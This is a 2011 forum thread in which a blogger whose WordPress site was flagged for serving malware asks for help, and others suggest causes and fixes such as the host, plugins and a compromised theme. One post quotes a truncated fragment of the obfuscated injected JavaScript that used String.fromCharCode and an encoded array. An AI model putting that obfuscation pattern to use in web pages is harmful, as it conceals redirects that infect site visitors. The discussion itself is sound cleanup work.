User | Post |
7:01 am August 20, 2011
| retireby40
| | USA | |
| Member
| posts 1381 |
|
|
|
Post edited 7:46 am – August 20, 2011 by retireby40
Anyone has experience with this?
I couldn't find any problem so far and they don't give enough information for me to figure out.
Does anybody know how to isolate the issue?
I'm scanning my computer now.
I also tested my site with McAfee siteadvistor on IE9 and they didn't find any significant problems.
— from Google webmaster tools
Last checked: August 20, 2011
General problem
When Google last tested this page,
your server returned content that directed the browser to a site that
serves malware. Unfortunately, Google could not isolate the malicious
code within this page.
|
|
|
7:47 am August 20, 2011
| My Personal Finance Journey
| | |
| Member
| posts 3159 |
|
|
|
Could it be something related to your host? Isn't that where the actual content is lodged? Is there anyway to inform your host about it to see if they can help?
|
|
|
8:03 am August 20, 2011
| krantcents
| | |
| Member | posts 909 |
|
|
|
Joe, you may want to run Malwarebytes (it is free).
|
|
|
12:38 pm August 20, 2011
| retireby40
| | USA | |
| Member
| posts 1381 |
|
|
|
I found a script after the /html tag.
</html><script>Object.prototype.tes=-2;String.prototype.test="h";for(i in'')if(i=='test')m=''[i];var ss="";aa=document.createTextNode(m+"a"+"rC"+"ode");s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];for(i in{})if(i=='t'+'e'+'s')h={}[i];n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h,97-h,115-h,10……
go on for a long while….
But I can't find where this is coming from. Any hints?
|
|
|
12:54 pm August 20, 2011
| retireby40
| | USA | |
| Member
| posts 1381 |
|
|
|
I got rid of it by reinstalling wordpress. Now I'll have to get off the Google ban list and fix security.
There goes the weekend…
|
|
|
5:22 pm August 20, 2011
| Glen Craig
| | |
| Member
| posts 1087 | |
|
|
Not sure if the articles here apply to your malware but it may be worth looking at:
http://blog.sucuri.net/
|
|
|
11:29 pm August 20, 2011
| retireby40
| | USA | |
| Member
| posts 1381 |
|
|
|
Glen, Thanks for the info.
My host scanned my files and found malware in page.php of a theme I installed, but wasn't using.
I guess from there it modified my wordpress files somehow.
|
|
|
10:53 am August 21, 2011
| MoneyIsTheRoot
| | |
| Member
| posts 1456 |
|
|
|
RB40 – I got an email from sitelock saying that I have two malware links that I have 72 hours to correct or sitelock wont support my site anymore…both links are to your site lol. Not sure what they want me to do about it…. Google is ridiculous sometimes. Hope you get your issue cleared up!
|
|
|
2:00 pm August 21, 2011
| mbhunter
| | |
| Member | posts 198 |
|
|
|
Check your plugins.
This past week one of my hosts had disabled my account. Eventually I tracked down the problem to the is-human plugin (a CAPTCHA plugin). It had a vulnerability, and someone hacked it and began sending spam messages and had uploaded almost 3,000 spam HTML pages to that plugin directory.
Finding the script and taking it out is just eliminating the symptoms of the problem. You'll need to track down what caused the hack in the first place.
If re-installing WP did the trick, that's good. What got me is not paying attention to the plugins I was using. WP itself was up to date.
|
|
|
7:05 am August 22, 2011
| Hunter @financiallyc
| | Virginia Beach | |
| Member | posts 707 |
|
|
|
It looks like you have solved the problem. I have not seen any warnings pointing to RB4T for malware today. Whew.
|
|
|
7:19 am August 22, 2011
| Henry @ TotallyMoney
| | London | |
| Member | posts 95 | |
|
|
Make sure that you keep checking your blog to see if it returns. I had the same problem as MBhunter with the malware returning after each clean install. It turned out to be a plugin that had been hacked.
Glad to hear that you fixed it so quickly
|
|
|
10:37 am August 22, 2011
| MyJourneytoMillions
| | |
| Member
| posts 1012 |
|
|
|
It is incredible how many shitty themes are out there, that could be infecting people's sites
|
|
11:28 am August 22, 2011
| retireby40
| | USA | |
| Member
| posts 1381 |
|
|
|
MyJourneytoMillions said:
It is incredible how many shitty themes are out there, that could be infecting people's sites
I had tons of problems since I changed theme a couple of months ago. I'm moving to Atahualpa for now since that seems to be pretty solid.
|
|
|